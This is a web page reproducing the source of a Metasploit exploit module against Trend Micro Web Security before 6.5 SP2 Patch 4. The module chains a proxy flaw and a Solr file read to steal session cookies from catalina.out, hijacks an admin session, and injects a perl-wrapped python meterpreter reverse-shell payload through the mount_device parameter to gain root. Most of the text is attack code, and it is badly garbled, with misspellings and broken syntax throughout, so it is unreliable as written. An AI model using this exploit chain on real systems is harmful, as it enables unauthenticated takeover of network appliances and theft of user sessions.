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# **Trend Micro Web Security Remote Code Execution**

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This Metasploit module exploits multiple vulnerabilities together in order to achieve remote code execution in Trend Micro Web Security versions prior to 6.5 SP2 Patch 4 (Build 1901).

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## # This mo # Current	dule requires Metasploit: https://metasploit.com/download source: https://github.com/rapid7/metasploit-framework
class Met	asploitModule < Msf::Exploit::Remote = ExcellentRanking
	de Msf::Exploit::Remote::HttpClient
def i	nitialize(info = {})
sup u	pdate info(
	info, 'Name' -> 'Trend Micro Web Security (Virtual Appliance) Remote Code Execution', 'Description' -> %q(
	This module exploits multiple vulnerabilities together in order to achive a remote code execution Unauthenticated users can execute a terminal command under the context of the root user.
string	The specific flaw exists within the LogSettingHandler class of administrator interface software. When parsing the mount_device parameter, the process does not properly validate a user-supplied
code in	before using it to execute a system call. An attacker can leverage this vulnerability to execute the context of root. But authentication is required to exploit this vulnerability.
	Another specific flaw exist within the proxy service, which listens on port 8080 by default.
Unauthent	icated users  can exploit this vulnerability in order to communicate with internal services in the product.
	Last but not least a flaw exists within the Apache Solr application, which is installed within the
product.	When parsing the file parameter, the process does not properly validate a user-supplied path price
to using user.	it in file operations.  An attacker can leverage this vulnerability to disclose information in the context of the IWSS
	Due to combination of these vulnerabilities, unauthenticated users can execute a terminal comman
under the	context of the root user.  Version perior to 6.5 SP2 Patch 4 (Build 1901) are affected.
	}, 'License' => MSF LICENSE,
	'Author' => [
	'Mehmet Ince <mehmet@mehmetince.net>' # discovery &amp; msf module     ,</mehmet@mehmetince.net>
	[[[]]]]
	['CUR', '2020-8605'], ['CUR', '2020-8606'], ['201', '20-676'], ['201', '20-676'], ['201', '20-678']
	] 'Privileged' => true, 'DefaultOptions' =>
	{     'SSL' -> true,     'psyload' -> python/meterpreter/reverse_tcp',     'Wfobelsy' -> 30
	), 'Payload' =>
	{     'Compat' =>
	<pre>{   'ConnectionType' =&gt; '-bind' }</pre>
	}, 'Platform' -> ['python'], 'Arch' -> ARCH PYTRON, 'Targeta' -> ['Automatic', {}] ], 'DisclosureDate' -> '2020-06-10', 'DefaultTarget' -> 0, 'Notes' -> -> 0,
	'Stability' -> (CRASH SAFE), 'Peliability' -> (REPEATABLE SESSION), 'SideEffects' -> (IOC_IN_LOGS) ]
)	
reg [	
1	Opt::RPORT(8443), OptInt.new('PROXY_PORT', [true, 'Port number of Trend Micro Web Filter Proxy service', 8080])
) end	
# U if	ijack_cookie  pdating SSL and RPORT in order to communicate with HTTP proxy service.  datastore("SSL")  sl_restore = true  stastore("SSL") = false
	t_restore = datastore('RPORT') astore('RFORT') = datastore('PROXY_PORT')
	essionid = ''
# W pri	e are exploiting proxy service vulnerability in order to fetch content of catalina.out file nt_status('Trying to extract session ID by exploiting reverse proxy service')
	= send request_cqi{{ method' => 'GET', wit' => "http://f datastore['RHOST']}:8983/soir/collection0/replication", vars_get' => { "command' => 'filecontent',
	<pre>'command' &gt; 'filecontent', 'wt' &gt; 'filestream', 'qeneration' &gt; 1, 'file' &gt; '' * 7 &lt; 'var/iwss/tomcat/logs/catalina.out'</pre>
})	
# R dat dat	estore variables and validate estracted sessionid associe(SE)  = true if sal_restore satore(SE)  = true if sal_restore setore['REORT'] = port_restore
# R	outine check on res object

```
unless res fail_with(Failure::Unreachable, 'Target is unreachable.') end
       \# If the res code is not 200 that means proxy service is not vulnerable. unless res.code = -200 \# 3]sessionid = -1 return end
if cookies.empty?

@isessionid - 0
print_error([System is vulnerable, however a user session was not detected and is therefore inexploitable. Retry after a user logs in.')
return
end
       \# Now we are going to extract all JESSIONID from log file and store them in array. cookies = res.body.scan(/CheckUserLogon sessionid : (.*)/).flatten
       print good("Extracted number of JSESSIONID: #{cookies.length}")
        # We gotta switch back to adminsitrator interface port instead of proxy service. Restore rport and ssl
       # Latest cookie in the log file is the one most probably active. So that we use reverse on array.
cookies.reverse.each with index do [cookie, index]
print_status("Testing JSESSOMID ##index] : #(cookie)")
           # This endpoints is basically check session :)
res = send request cgi({
  'method' => 'GET',
             'uri' => normalize uri('rest', 'commonlog', 'get_sessionID'),
'cookie' => "JSESSIONID=#{cookie}"
          # Routine res check
unless res
fail_with(Failure::UnexpectedReply, 'Target is unreachable.')
end
          # If the cookie is active !
if res.code == 200 && res.body.include?('session_flag')
print_good'Awesome!! JESSIONID ##{index) is active.")
@]sessionid = cookie
break
       print_warning("JSESSIONID ##{index} is inactive! Moving to the next one.")
end
if @jsessionid.empty?
print_error('System is vulnerable, however extracted cookies are not valid! Please wait for a user or
dmin to login.')
end
end
         @jsessionid can be one of the following value
          -1 = {
m Proxy \ service} is not vulnerable, which means we'r not gonna be able to read catalina.out
          {\tt 0}~={\tt Proxy} service is vulnerable, but catalina.out does not contain any jessionid string yet !
          empty = Proxy service is vulnerable, but jessionid within log file but
none of them are valid:(
         # string = Proxy service is vulnerable and sessionid is valid !
       hijack cookie
       if @jsessionid == -1
CheckCode::Safe
   eise
CheckCode::Vulnerable
end
end
      unless check == CheckCode::Vulnerable
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
          0 \,\, => Proxy service is vulnerable, but catalina.out does not contain any jessionid string yet !
          empty \Rightarrow Proxy service is vulnerable, but jessionid within log file but none of them are valid:(
      #
if @jsessionid.empty? || @jessionid == 0
fail_with Failure::NoAccess, ''
end
       # Yet another app specific bypass is going on here.
# It's so buggy to make the cmd payloads work under the following circumstances (Weak blacklisting,
       # For that reason, I am planting our payload dropper within the perl command.
       cmd = "python -c \"f{payload.encoded}\\"
final_payload = cmd.to_s.unpack1(!*')
p = "perl = 'system(pack(qg.Hf{final_payload.length},,qq,f{final_payload},))'"
       vars_post = {
  mount_device: "mount $(#{p}) /var/offload",
  cmd: 'mount'
      send_request_cgi({
    "method' => 'POST',
    "url' >> normalize_uri(target_uri.path, 'rest', 'commonlog', 'log_setting', 'mount_device'),
    "cookie' => "JSESIONID=#(@jsessionid)",
    "ctype' -> "application,'son',
    "data' -> vars_post.to_json
}
```

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